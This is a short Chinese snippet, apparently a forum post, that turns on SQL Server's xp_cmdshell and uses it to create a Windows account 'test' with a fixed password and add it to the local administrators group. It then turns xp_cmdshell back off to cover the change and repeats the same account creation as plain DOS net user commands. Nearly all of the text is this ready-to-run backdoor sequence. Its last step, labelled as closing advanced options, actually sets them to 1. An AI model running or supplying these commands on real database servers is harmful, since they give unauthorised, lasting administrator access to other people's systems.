--不要干壞事
sql server中使用xp_cmdshell --1、允許配置高級選項 EXEC sp_configure 'show advanced options',1 GO RECONFIGURE GO --2、開啟xp_cmdshell服務 EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO --3、使用 xp_cmdshell master..xp_cmdshell 'net user test a123456! /add';
master..xp_cmdshell 'net localgroup administrators test /add';
--4、關閉 xp_cmdshell
EXEC sp_configure 'xp_cmdshell',0 RECONFIGURE GO
--5、關閉高級選項
EXEC sp_configure 'show advanced options',1 GO RECONFIGURE GO
在DOS下運行如下命令:
net user 用戶名 "密碼" /add (增加用戶)
net localgroup administrators 用戶名 /add 再把用戶加為系統管理員,